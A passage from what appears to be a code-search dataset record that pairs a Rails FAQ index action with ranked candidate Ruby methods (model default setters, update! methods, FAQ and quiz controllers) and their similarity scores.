"def update!(**args)\n @calendar_event = args[:calendar_event] if args.key?(:calendar_event)\n @event_creation = args[:event_creation] if args.key?(:event_creation)\n end",
"def set_defaults\n unless persisted? \n self.active ||= false\n self.complete ||= false\n self.start_on ||= Date.today\n self.finished_on ||= Date.today + 1\n end\n end",
"def set_defaults\n super\n self.service_status_type ||= transam_asset.service_status_updates.last.try(:service_status_type) if transam_asset\n self.asset_event_type ||= AssetEventType.find_by_class_name(self.name)\n end",
"def default_values \n self.credited_date = Time.now\n self.leave_period_id = 0 if self.leave_period_id.nil?\n end",
"def set_defaults\n super\n self.replacement_status_type ||= ReplacementStatusType.find_by(:name => \"By Policy\")\n end",
"def preset_default_values( params_hash = {} )\n unless self.patient # Set current patient only if not set\n begin\n if params_hash[:patient_id]\n self.patient_id = params_hash[:patient_id].to_i\n end\n rescue\n self.patient_id = nil\n end\n end\n # If patient is set and price not, get the default price:\n unless self.receipt_description\n if (self.patient_id.to_i > 0) && (p = Patient.find(self.patient_id))\n self.price = p.default_invoice_price unless (self.price.to_f > 0.0)\n self.receipt_description = p.default_invoice_text if self.receipt_description.blank? && (! p.default_invoice_text.blank?)\n end\n # Set the default description if not yet set:\n self.receipt_description = Receipt.get_default_receipt_description(self) unless self.receipt_description\n end\n\n unless self.date_receipt # A default date_receipt must be set anyhow:\n begin \n self.date_receipt = params_hash[:date_receipt] ? params_hash[:date_receipt] : Time.now\n rescue # Set default date for this entry:\n self.date_receipt = Time.now\n end\n end\n\n self.receipt_num = Receipt.get_next_receipt_num() unless (self.receipt_num > 0)\n self.is_receipt_delivered ||= 0\n # [Steve, 20100915] Known issue: we cannot set automatically or directly the \"is_payed\" flag (for instance,\n # reading the corresponding flag on any issuing appointment row) since this acts as a global \"is_payed\" status\n # for the whole due amount and - also - there may be more than 1 appointment rows linked to this receipt\n # (and the patient could be paying just a partial sum on each appointment).\n # So this needs to be cleared on start, until the whole receipt has been effectively \"payed\" (the user toggles it).\n self.is_payed ||= 0\n self\n end",
"def set_defaults\n\t\tself.start_date ||= (Date.today - 6.days)\n\tend",
"def update!(**args)\n @monthly_day_recurrence = args[:monthly_day_recurrence] if args.key?(:monthly_day_recurrence)\n @monthly_weekday_recurrence = args[:monthly_weekday_recurrence] if args.key?(:monthly_weekday_recurrence)\n end",
"def set_defaults\n end",
"def set_defaults\n end",
"def disable_resilience_defaults=(value)\n @disable_resilience_defaults = value\n end",
"def update!(**args)\n @allow_all_range_resolutions = args[:allow_all_range_resolutions] if args.key?(:allow_all_range_resolutions)\n @allow_all_resolutions = args[:allow_all_resolutions] if args.key?(:allow_all_resolutions)\n @allow_all_resolutions_except_holidays = args[:allow_all_resolutions_except_holidays] if args.key?(:allow_all_resolutions_except_holidays)\n @allow_all_resolutions_without4digit24hr_time = args[:allow_all_resolutions_without4digit24hr_time] if args.key?(:allow_all_resolutions_without4digit24hr_time)\n @allow_all_resolutions_without_time = args[:allow_all_resolutions_without_time] if args.key?(:allow_all_resolutions_without_time)\n @allow_day_resolution = args[:allow_day_resolution] if args.key?(:allow_day_resolution)\n @allow_day_resolution_except_holidays_or_ordinal = args[:allow_day_resolution_except_holidays_or_ordinal] if args.key?(:allow_day_resolution_except_holidays_or_ordinal)\n @allow_hour_resolution = args[:allow_hour_resolution] if args.key?(:allow_hour_resolution)\n @allow_month_resolution = args[:allow_month_resolution] if args.key?(:allow_month_resolution)\n @allow_now_resolution = args[:allow_now_resolution] if args.key?(:allow_now_resolution)\n @allow_symbolic_time = args[:allow_symbolic_time] if args.key?(:allow_symbolic_time)\n @allow_time_resolutions_without_explicit_timezone = args[:allow_time_resolutions_without_explicit_timezone] if args.key?(:allow_time_resolutions_without_explicit_timezone)\n @allow_year_resolution = args[:allow_year_resolution] if args.key?(:allow_year_resolution)\n @remodelings = args[:remodelings] if args.key?(:remodelings)\n @sub_type = args[:sub_type] if args.key?(:sub_type)\n end",
"def update!(**args)\n @schedule_time = args[:schedule_time] if args.key?(:schedule_time)\n end",
"def update!(**args)\n @schedule = args[:schedule] if args.key?(:schedule)\n @title = args[:title] if args.key?(:title)\n end",
"def update!(**args)\n @schedule = args[:schedule] if args.key?(:schedule)\n @title = args[:title] if args.key?(:title)\n end",
"def set_defaults\n\n end",
"def set_defaults\n\n end",
"def set_defaults\n\n end",
"def set_defaults\n\n end",
"def set_defaults\n\n end",
"def set_defaults\n\n end",
"def set_defaults\n super\n self.asset_event_type ||= AssetEventType.find_by_class_name(self.name)\n end",
"def set_defaults\n super\n self.asset_event_type ||= AssetEventType.find_by_class_name(self.name)\n end",
"def default_values #to set the status as pending and creation date as defaults \n\tif (self.status).nil?\n\t\tself.status ||= \"Pending\"\n\t\tself.application_date = Date.today\n\tend\nend",
"def set_defaults\n super\n self.extended_useful_life_months ||= 0\n self.extended_useful_life_miles ||= 0\n end",
"def set_defaults\n @start_date = Date.today - 2.weeks\n @end_date = Date.today\n end",
"def set_defaults\n unassigned_status_id = Status.find_by(code: 'UNASSIGNED').try(:id)\n priority_id = Priority.find_by(code: 'LOW')\n category_id = Category.find_by(code: 'OTHER')\n self.status_id = unassigned_status_id if status_id.blank?\n self.priority_id = priority_id if self.priority_id.blank?\n self.category_id = category_id if self.category_id.blank?\n end",
"def create_defaults\n @parameters[:date] = Time.parse(\"00:00\").to_s\n @parameters[:period] = \"24\"\n @parameters[:default] = true\n end",
"def allow_custom_assignment_schedule=(value)\n @allow_custom_assignment_schedule = value\n end",
"def default_values\n if self.new_record?\n self.email_at_notices ||= Errbit::Config.email_at_notices\n end\n end",
"def set_defaults\n self.min_service_life_months ||= 0\n self.replacement_cost ||= 0\n self.lease_length_months ||= 0\n self.rehabilitation_service_month ||= 0\n self.rehabilitation_labor_cost ||= 0\n self.rehabilitation_parts_cost ||= 0\n self.extended_service_life_months ||= 0\n self.min_used_purchase_service_life_months ||= 0\n self.cost_fy_year ||= current_planning_year_year\n end",
"def set_defaults\n published_on = Time.now\n self.attributes = {:post_author => 1, :post_date => published_on, :post_date_gmt => published_on.getutc, \n :post_status => 'publish', :comment_status => 'closed',\n :ping_status => 'closed', :post_parent => 0, :menu_order => 0, :post_type => 'gd_place',\n :comment_count => 0, :post_content => '', \n :post_excerpt => '', :to_ping => '', :pinged => '', :post_content_filtered => ''}\n end",
"def add_default_event_parameters\n rep = received_event_parameters || create_default_received_event_parameters || return\n if collection_event_parameters.nil? then\n create_default_collection_event_parameters(rep)\n end\n end",
"def update!(**args)\n @cron_schedule = args[:cron_schedule] if args.key?(:cron_schedule)\n @paused = args[:paused] if args.key?(:paused)\n end",
"def defaults\n self.behaviour_evaluated = false if self.behaviour_evaluated.nil?\n self.special_needs_ok = false if self.special_needs_ok.nil?\n self.long_term_resident = false if self.long_term_resident.nil?\n self.senior = false if self.senior.nil?\n end",
"def resent_to( val = nil )\n default :resent_to, val\n end",
"def set_defaults_for(project)\n if self.can_generate_from_scheulde_for(project)\n project_entries = project.entries.start_date_ordered\n \n @start_date = project_entries.first.start_date\n @end_date = project_entries.last.end_date\n @end_date = @start_date + 1.month if (@start_date + 1.month) > @end_date # Always make sure there is at least a full month apart\n \n @frequency = '0'\n end\n end",
"def deferred_defaults\n set_default_path\n set_default_properties\n end",
"def update!(**args)\n @disabled = args[:disabled] if args.key?(:disabled)\n @max_retries = args[:max_retries] if args.key?(:max_retries)\n @schedule = args[:schedule] if args.key?(:schedule)\n @start_time = args[:start_time] if args.key?(:start_time)\n @type = args[:type] if args.key?(:type)\n end",
"def set_defaults\n\t self.year ||= Date.today.cwyear\n\t self.start_week ||= 1\n self.end_week ||= Date.new(Date.today.cwyear, 12, 28).cweek #calc for number of weeks in current year\n\t self.hours_in_week ||= 40\n\t self.holiday ||= 8\n\t self.billable_rate ||= 90\n self.billable_per_week ||= self.hours_in_week\n \tend",
"def set_defaults\n unless persisted? \n self.solution_type ||= 'Export'\n self.client_approved ||= false\n self.drive_time_from_load_to_tip ||= 0\n self.drive_time_into_site ||= 0\n self.drive_time_into_tip ||= 0\n self.drive_time_out_of_site ||= 0 \n self.drive_time_tip_to_load ||= 0\n self.drive_time_out_of_tip_site ||= 0\n self.invoice_load_client ||= 0.00\n self.pay_load_client ||= 0.00\n self.invoice_tip_client ||= 0.00\n self.pay_tip_client ||= 0.00\n self.kms_one_way ||= 0\n self.load_time ||= 0\n self.loads_per_day ||= 0\n self.pay_equipment_per_unit ||= 0.00\n self.pay_tip ||= 0.00\n self.pay_tolls ||= 0.00\n self.semis_permitted ||= false\n self.approved ||= false\n self.total_material ||= 0\n self.unit_of_material ||= 'm3'\n self.unload_time ||= 0\n self.purchase_order_required ||= self.quote.project.company.PO_required\n self.drive_time_out_of_tip_site ||= 0\n # Job delegates to :equipment_units_required_per_day\n \n self.invoice_load_client ||= 0.00\n self.pay_load_client ||= 0.00\n self.invoice_tip_client ||= 0.00\n self.pay_tip_client ||= 0.00\n self.hourly_hire_rate ||= 0.00\n \n self.equipment_units_required_per_day ||= 1\n self.equipment_dollars_per_day ||= 1250 unless self.equipment_dollars_per_day\n end\n end",
"def default_values\n self.status = QUALIFICATION_GRADE_STATUS_UNCONFIRMED if !self.status.present?\n end",
"def update!(**args)\n @display_name = args[:display_name] if args.key?(:display_name)\n @schedule = args[:schedule] if args.key?(:schedule)\n end",
"def update!(**args)\n @daily_recurrence = args[:daily_recurrence] if args.key?(:daily_recurrence)\n @every = args[:every] if args.key?(:every)\n @monthly_recurrence = args[:monthly_recurrence] if args.key?(:monthly_recurrence)\n @recurrence_end_date = args[:recurrence_end_date] if args.key?(:recurrence_end_date)\n @recurrence_start = args[:recurrence_start] if args.key?(:recurrence_start)\n @repeat_count = args[:repeat_count] if args.key?(:repeat_count)\n @repeat_forever = args[:repeat_forever] if args.key?(:repeat_forever)\n @single_recurrence = args[:single_recurrence] if args.key?(:single_recurrence)\n @weekly_recurrence = args[:weekly_recurrence] if args.key?(:weekly_recurrence)\n @yearly_recurrence = args[:yearly_recurrence] if args.key?(:yearly_recurrence)\n end",
"def update!(**args)\n @schedules = args[:schedules] if args.key?(:schedules)\n @targets = args[:targets] if args.key?(:targets)\n end",
"def schedule=(new_rule)\n if RecurringSelect.is_valid_rule?(new_rule)\n write_attribute(:schedule, RecurringSelect.dirty_hash_to_rule(new_rule).to_hash)\n else\n write_attribute(:schedule, nil)\n end\n end",
"def set_defaults\n self.emailing_sections.each do |section|\n section.set_defaults\n end\n end",
"def set_defaults\n #self.required_by_manufacturer ||= true\n end",
"def add_defaults_local\n super\n self.collection_event ||= parent.collection_event if parent\n self.specimen_characteristics ||= CaTissue::SpecimenCharacteristics.new\n end",
"def update!(**args)\n @attendees = args[:attendees] if args.key?(:attendees)\n @background_color = args[:background_color] if args.key?(:background_color)\n @calendar_id = args[:calendar_id] if args.key?(:calendar_id)\n @creator = args[:creator] if args.key?(:creator)\n @description = args[:description] if args.key?(:description)\n @end = args[:end] if args.key?(:end)\n @event_id = args[:event_id] if args.key?(:event_id)\n @flair_name = args[:flair_name] if args.key?(:flair_name)\n @foreground_color = args[:foreground_color] if args.key?(:foreground_color)\n @guests_can_invite_others = args[:guests_can_invite_others] if args.key?(:guests_can_invite_others)\n @guests_can_modify = args[:guests_can_modify] if args.key?(:guests_can_modify)\n @guests_can_see_guests = args[:guests_can_see_guests] if args.key?(:guests_can_see_guests)\n @habit_id = args[:habit_id] if args.key?(:habit_id)\n @habit_status = args[:habit_status] if args.key?(:habit_status)\n @html_link = args[:html_link] if args.key?(:html_link)\n @location = args[:location] if args.key?(:location)\n @meeting_contacts = args[:meeting_contacts] if args.key?(:meeting_contacts)\n @organizer = args[:organizer] if args.key?(:organizer)\n @other_attendees_excluded = args[:other_attendees_excluded] if args.key?(:other_attendees_excluded)\n @participation_response = args[:participation_response] if args.key?(:participation_response)\n @recurring_event_id = args[:recurring_event_id] if args.key?(:recurring_event_id)\n @rooms = args[:rooms] if args.key?(:rooms)\n @start = args[:start] if args.key?(:start)\n @summary = args[:summary] if args.key?(:summary)\n @visibility = args[:visibility] if args.key?(:visibility)\n end",
"def schedule(opts)\n opts = check_params(opts,[:schedule])\n super(opts)\n end",
"def set_defaults\n self.notification_id ||= Thrive::Util::Uuid.generate\n self.state = 'new' unless state\n end",
"def set_defaults\n\t\tself.outside_agency_staff\t= DEFAULT_FIELD_TEXT\t\t\tif outside_agency_staff.nil?\n\t\tself.overview \t\t\t\t\t\t= DEFAULT_FIELD_TEXT\t\t \tif overview.nil?\n\t\tself.ratio \t\t\t\t\t\t\t\t= DEFAULT_FIELD_TEXT\t\t \tif ratio.nil?\n\t\tself.trainings_needed \t\t= DEFAULT_FIELD_TEXT\t\t \tif trainings_needed.nil?\n\t\tself.medication_times \t\t= DEFAULT_FIELD_TEXT\t\t \tif medication_times.nil?\n\t\tself.waivers \t\t\t\t\t\t\t= DEFAULT_FIELD_TEXT\t\t \tif waivers.nil?\n\t\tself.keys \t\t\t\t\t\t\t\t= DEFAULT_FIELD_TEXT\t\t \tif keys.nil?\n\t\tself.schedule_info \t\t\t\t= DEFAULT_FIELD_TEXT \t\t\tif schedule_info.nil?\n\t\tself.phone_numbers \t\t\t\t= DEFAULT_FIELD_TEXT \t\t\tif phone_numbers.nil?\n\t\tself.behavior_plans \t\t\t= DEFAULT_FIELD_TEXT \t\t\tif behavior_plans.nil?\n\t\tself.name\t\t\t\t\t\t\t\t\t= \"Untitled\"\t\t\t\t \t\t\tif name.nil?\n self.address_street\t\t\t\t= DEFAULT_ADDRESS_STREET \tif address_street.nil?\n self.address_city\t\t\t\t\t= DEFAULT_ADDRESS_CITY \t\tif address_city.nil?\n self.address_state\t\t\t\t= DEFAULT_ADDRESS_STATE \tif address_state.nil?\n self.address_zip\t\t\t\t\t= DEFAULT_ADDRESS_ZIP \t\tif address_zip.nil?\n self.phone_1\t\t\t\t\t\t\t= DEFAULT_PHONE_1 \t\t\t\tif phone_1.nil?\n self.phone_2\t\t\t\t\t\t\t= DEFAULT_PHONE_2 \t\t\t\tif phone_2.nil?\n self.fax\t\t\t\t\t\t\t\t\t= DEFAULT_FAX \t\t\t\t\t\tif fax.nil?\n self.bu_code\t\t\t\t\t\t\t= DEFAULT_BU_CODE\t\t \t\t\tif bu_code.nil?\n\tend",
"def set_defaults\n # should set the default based on category\n if self.fta_asset_category.try(:name) == 'Facilities'\n self.useful_life_benchmark ||= 3\n self.useful_life_benchmark_unit ||= 'condition_rating'\n elsif self.fta_asset_category.try(:name) != 'Infrastructure'\n self.useful_life_benchmark ||= self.asset_level.try(:default_useful_life_benchmark)\n self.useful_life_benchmark_unit ||= self.asset_level.try(:useful_life_benchmark_unit)\n end\n\n self.useful_life_benchmark_locked = self.useful_life_benchmark_locked.nil? ? false : self.useful_life_benchmark_locked\n\n if self.fta_asset_category.try(:name) == 'Infrastructure'\n self.pcnt_goal ||= 10\n else\n self.pcnt_goal ||= 0\n end\n\n self.pcnt_goal_locked = self.pcnt_goal_locked.nil? ? false : self.pcnt_goal_locked\n\n end",
"def default_values\n self.state = NONE if self.state.blank?\n self.show_alert = true if self.show_alert.nil?\n if self.state != SUCCESS\n self.filename = nil\n self.export_date = nil\n end\n end",
"def update!(**args)\n @response_view = args[:response_view] if args.key?(:response_view)\n @schedule_time = args[:schedule_time] if args.key?(:schedule_time)\n end",
"def add_default_values\n ensure_license\n ensure_publisher\n ensure_resource_type\n end",
"def set_defaults\n @cfr_record.set_blank_default( :doc_owner, current_user.account_info )\n # if there is only one location, make it main location if an uri is given\n # otherwise, we don't need the main location ...\n ml = @cfr_record.cfr_locations.find{ |l| l.is_main_location }\n if ml.nil? && @cfr_record.cfr_locations.length == 1 && @cfr_record.cfr_locations.first.uri.present? then\n ml = @cfr_record.cfr_locations.first\n ml.is_main_location = true\n @cfr_record.main_location = ml\n end\n @cfr_record.cfr_locations.each { | l | l.set_defaults }\n fn = ml&.file_name # cannot assume that ml is set / valid\n @cfr_record.set_blank_default( :extension, CfrLocationType.get_extension( fn ))\n @cfr_record.set_blank_default( :cfr_file_type_id, CfrFileType.get_file_type( @cfr_record.extension )&.id )\n @cfr_record.set_blank_default( :title, CfrLocationType.get_file_name( fn, @cfr_record.extension ))\n flash.notice = I18n.t( 'cfr_records.msg.defaults_set' )\n flash.discard\n end",
"def update!(**args)\n @ad_schedule_targets = args[:ad_schedule_targets] if args.key?(:ad_schedule_targets)\n @callout_text = args[:callout_text] if args.key?(:callout_text)\n @end_date = args[:end_date] if args.key?(:end_date)\n @start_date = args[:start_date] if args.key?(:start_date)\n @use_searcher_time_zone = args[:use_searcher_time_zone] if args.key?(:use_searcher_time_zone)\n end",
"def set_defaults\n self.published ||= false\n self.archived ||= false\n self.is_default ||= false\n self.version ||= 0\n self.visibility = ((self.org.present? && self.org.funder_only?) || self.is_default?) ? Template.visibilities[:publicly_visible] : Template.visibilities[:organisationally_visible] unless self.id.present?\n self.customization_of ||= nil\n self.family_id ||= new_family_id\n self.archived ||= false\n self.links ||= { funder: [], sample_plan: [] }\n end",
"def set_defaults\n super\n self.parent ||= transam_asset.try(:parent)\n self.asset_event_type ||= AssetEventType.find_by_class_name(self.name)\n end",
"def set_defaults\n self.issue_status_type_id ||= 1\n end",
"def set_schedule\n @schedule = Schedule.find(params[:id]) unless params[:id] == 'destroy_multiple' || params[:id].to_i.zero?\n end",
"def update\n # Protect from non-admin access\n admin_only do\n params[:weeklyday] = nil if params[:weeklyday] = ''\n @test = RecurringSchedule.find(params[:id])\n if @test.update(schedule_params)\n log_action('Update', current_user ? current_user.username : 'Anonymous', params[:id], 'RecurringSchedule')\n if params[:weeklyday].nil?\n @test.reload\n @test.weeklyday = nil\n @test.save\n end\n redirect_to action: \"show\", id: @test.id\n else\n render 'edit'\n end\n end\n end",
"def set_default_values\n self.is_paid = false\n self.is_served = false\n self.is_preparation_started = false\n self.is_preparation_done = false\n return true\n end",
"def update!(**args)\n @cron_schedule = args[:cron_schedule] if args.key?(:cron_schedule)\n @invocation_config = args[:invocation_config] if args.key?(:invocation_config)\n @name = args[:name] if args.key?(:name)\n @recent_scheduled_execution_records = args[:recent_scheduled_execution_records] if args.key?(:recent_scheduled_execution_records)\n @release_config = args[:release_config] if args.key?(:release_config)\n @time_zone = args[:time_zone] if args.key?(:time_zone)\n end",
"def set_maintenance_schedule\n @schedule = MaintenanceSchedule.find_by_object_key(params[:maintenance_schedule_id])\n end",
"def default_values\r\n # Create a unique ID\r\n unique = Time.now.to_f.to_s.gsub('.','').to_i.to_s(36)\r\n unique += Random.rand(\"9\".ljust(16-unique.length,\"9\").to_i).to_s\r\n self.condition_id ||= unique\r\n \r\n # Handle other defaults\r\n self.update_number ||= 1\r\n self.audit_update_date_time ||= DateTime.now\r\n self.effective_status ||= 'ACTIVE'\r\n self.effective_date ||= DateTime.now\r\n end",
"def set_defaults\n defaults = { primary_ip: '0.0.0.0',\n priority: 100,\n timers_advertise: 1,\n preempt: true,\n enable: true,\n ip_version: 2,\n mac_addr_adv_interval: 30,\n preempt_delay_min: 0,\n preempt_delay_reload: 0,\n delay_reload: 0 }\n\n # If the value is not set in the @property_hash then set\n # the value in the @property_flush.\n defaults.keys.each do |key|\n @property_flush[key] = defaults[key] unless @property_hash.key?(key)\n end\n end",
"def set_defaults\n super\n end",
"def set_defaults\n super\n end",
"def setup(params)\n self.end_date = DateTime.new(Integer(params['fixed']['end_date(1i)']),\n Integer(params['fixed']['end_date(2i)']),\n Integer(params['fixed']['end_date(3i)']))\n self.delay_hours = params[:fixed_delay]\n end",
"def apply_defaults_for_new_item( defaults, payload )\n\n # merge in defaults\n defaults.each { |k, v|\n\n case k\n\n when :admin_notes\n next if v.blank?\n\n # create the admin notes for this item\n original_create_date = payload[ :create_date ]\n time_now = CurationConcerns::TimeService.time_in_utc.strftime( \"%Y-%m-%d %H:%M:%S\" )\n notes = \"#{DateTime.now} | #{v.gsub( 'LIBRA1_CREATE_DATE', original_create_date ).gsub( 'CURRENT_DATE', time_now )}\"\n payload[ k ] = [ notes ]\n\n when :default_embargo_type\n if payload[ :embargo_type ].blank?\n payload[ :embargo_type ] = v\n end\n\n when :force_embargo_period\n payload[ :embargo_period ] = v\n if payload[ :issued ]\n payload[ :embargo_release_date ] = IngestHelpers.calculate_embargo_release_date( payload[ :issued ], v )\n else\n payload[ :embargo_release_date ] = GenericWork.calculate_embargo_release_date( v )\n end\n\n else\n if payload.key?( k ) == false\n payload[ k ] = v\n end\n end\n }\n\n return payload\n end",
"def default_values\n self.subtype ||= \"registered\"\n self.status ||= \"NEW\"\n end",
"def update!(**args)\n @escalate_to = args[:escalate_to] if args.key?(:escalate_to)\n @executed_by = args[:executed_by] if args.key?(:executed_by)\n @reason = args[:reason] if args.key?(:reason)\n end",
"def update!(**args)\n @time_schedule = args[:time_schedule] if args.key?(:time_schedule)\n @vehicle_attribute = args[:vehicle_attribute] if args.key?(:vehicle_attribute)\n @vehicle_type = args[:vehicle_type] if args.key?(:vehicle_type)\n end",
"def default_values\n self.date ||= DateTime.now\n end",
"def update!(**args)\n @lease_duration = args[:lease_duration] if args.key?(:lease_duration)\n @response_view = args[:response_view] if args.key?(:response_view)\n @schedule_time = args[:schedule_time] if args.key?(:schedule_time)\n end",
"def update!(**args)\n @max_supported_alarms = args[:max_supported_alarms] if args.key?(:max_supported_alarms)\n @restrict_alarms_to_next_day = args[:restrict_alarms_to_next_day] if args.key?(:restrict_alarms_to_next_day)\n @supports_generic_mutations = args[:supports_generic_mutations] if args.key?(:supports_generic_mutations)\n @supports_stop_action = args[:supports_stop_action] if args.key?(:supports_stop_action)\n end",
"def set_default_values\n self.base_exp ||= 0\n self.time_bonus_exp ||= 0\n end"
] |
[
"0.6756056",
"0.6198075",
"0.6195358",
"0.6011378",
"0.59645414",
"0.5936624",
"0.5936624",
"0.5924654",
"0.58832496",
"0.587119",
"0.5857892",
"0.5774789",
"0.5774789",
"0.5762118",
"0.5725462",
"0.56899446",
"0.5659203",
"0.5640756",
"0.5635095",
"0.5630209",
"0.5629499",
"0.56155926",
"0.5614403",
"0.55887455",
"0.558434",
"0.5566847",
"0.55353576",
"0.5507682",
"0.55063653",
"0.55063653",
"0.5480827",
"0.54727125",
"0.5435391",
"0.5430012",
"0.54298156",
"0.5429589",
"0.5429589",
"0.5429589",
"0.5429589",
"0.5429589",
"0.5429589",
"0.5398489",
"0.5398489",
"0.5395675",
"0.53819966",
"0.5381235",
"0.5376329",
"0.537246",
"0.5371225",
"0.5367593",
"0.5362673",
"0.5344507",
"0.5343491",
"0.5340629",
"0.53328973",
"0.5322668",
"0.5319205",
"0.53166157",
"0.5315776",
"0.5261593",
"0.52609164",
"0.5257131",
"0.52559274",
"0.5255749",
"0.5245119",
"0.52371174",
"0.5237027",
"0.52319944",
"0.5218478",
"0.5214065",
"0.5209689",
"0.52073485",
"0.5190451",
"0.5189229",
"0.51862967",
"0.51812184",
"0.5174499",
"0.5170078",
"0.5166065",
"0.5149542",
"0.5147174",
"0.5136411",
"0.513638",
"0.5131356",
"0.5127603",
"0.51250935",
"0.51238114",
"0.51154584",
"0.51141334",
"0.51123405",
"0.51123405",
"0.5112074",
"0.51082045",
"0.51054054",
"0.51028556",
"0.5100327",
"0.50988495",
"0.5098412",
"0.5095146",
"0.5093992"
] |
0.6576574
|
1
|
GET /faqs GET /faqs.json
|
def index
if params[:faqs] == 'active'
@faqs = Helpdesk::Faq.roots.active
render action: 'index'
elsif params[:faqs] == 'inactive'
@faqs = Helpdesk::Faq.inactive
render action: 'inactive'
else
@faqs = Helpdesk::Faq.roots
render action: 'index'
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @faqs = Faq.all\n\n render json: @faqs\n end",
"def index\n faqs = Faq.all\n json_response(faqs)\n end",
"def index\n @faqs = Faq.sorted\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @faqs }\n end\n end",
"def index\n @faqs = Faq.sorted\n if @subject\n @faqs = @faqs.where(:subject_id => @subject.id)\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @faqs, include: 'subject' }\n end\n end",
"def index\n @faqs = Faq.all\n end",
"def index\n @faqs = Faq.all\n end",
"def show\n @faq = Faq.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @faq }\n end\n end",
"def show\n json_response(@faq)\n end",
"def show\n @faq = Helpdesk::Faq.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @faq }\n end\n end",
"def allfaqs\n @faqs = Faq.getActiveFaqs.order(created_at: :ASC).all()\n @role = user_signed_in? ? (current_user.interface.nil? ? 'admin' : 'user') : 'user'\n\n render :template => 'faqs/all', :locals => {:faqs => @faqs, :role => @role}\n end",
"def show\n @faq = Faq.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @faq, include: 'subject' }\n end\n end",
"def faqs\n end",
"def faqs\n end",
"def index\n @quizzes = Quiz.all \n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @quizzes }\n end\n end",
"def index\n @faq_categories = FaqCategory.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @faq_categories }\n end\n end",
"def get_question_list\n json= RestClient.get(\"http://localhost:3000/questions\")\n JSON.parse(json)\n end",
"def show\n @faq_category = FaqCategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @faq_category }\n end\n end",
"def index\n quizzes = Quiz.all\n render json: quizzes, except: [:updated_at, :created_at]\n end",
"def show\n @quiz = Quiz.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @quiz }\n end\n end",
"def questions\n self.class.get(\"/2.2/questions\", @options)\n end",
"def index\n @questions = Question.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @questions }\n end\n end",
"def show\n render json: @quiz\n end",
"def index\n @questions = Question.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @questions }\n end\n end",
"def update\n @faq.update(faqs_params)\n json_response(@faq)\n end",
"def show\n @faq = Faq.find(params[:id])\n respond_with(@faq)\n end",
"def new \n @faq = Faq.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @faq }\n end\n end",
"def get_faq_all_using_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: FAQApi.get_faq_all_using_get ...'\n end\n # resource path\n local_var_path = '/faq'\n\n # query parameters\n query_params = {}\n query_params[:'ascending'] = opts[:'ascending'] if !opts[:'ascending'].nil?\n query_params[:'filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n query_params[:'order_by'] = opts[:'order_by'] if !opts[:'order_by'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageFaq')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: FAQApi#get_faq_all_using_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n @questions = @subsection.questions.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @questions }\n end\n end",
"def index\n @faq_sections = FaqSection.all\n end",
"def index\n @my_questions = MyQuestion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @my_questions }\n end\n end",
"def show\n @faq = Faq.find(params[:id])\n end",
"def index\n @faq_items = FaqItem.all\n end",
"def index \n artists = Artist.all \n render json: artists \n end",
"def create\n faq = Faq.new(faqs_params)\n faq.created_by_id = @current_user.id\n \n if faq.save\n json_response(faq)\n else\n json_response({ message: faq.errors }, :unprocessable_entity)\n end\n end",
"def index\n @faqcats = Faqcat.all\n end",
"def index\n params.require(:course)\n @questions = Course.find(params[:course]).questions.select {|q| q.answered == false}\n\n render json: @questions\n end",
"def show\n \t\tquestion = Question.find(params[:id])\n \t\tputs \"QUESTION: #{question.name}\"\n \t\trender json: question\n \tend",
"def index\n @assessment_end_chapter_quizzes = AssessmentEndChapterQuiz.page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json:@assessment_end_chapter_quizzes }\n end\n end",
"def index\n @my_exams = MyExam.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @my_exams }\n end\n end",
"def index\n if @user\n @equizzes = []\n if params[:subject]\n if Subject.find_by_name(params[:subject])\n @quizzes = @user.quizzes.where(:subject => Subject.find_by_name(params[:subject]),:enabled => true)\n\telse\n\t @quizzes = []\n\tend\n else\n @quizzes = @user.quizzes\n end\n @quizzes.each do |q|\n @equizzes << q.as_json.merge({unattempted: q.unattempted(@user).shuffle, numquestions: q.questions.count})\n end\n render :json => {quizzes:@equizzes,hearts:@user.hearts}.to_json\n else \n render text: \"Token failed verification\", status: 422\n end\n end",
"def index\n @faqs = @group.faqs.sorted\n end",
"def index\n @answers = Answer.where(url_params)\n if @answers.size == 1\n @answers.first!\n end\n render json: @answers\n end",
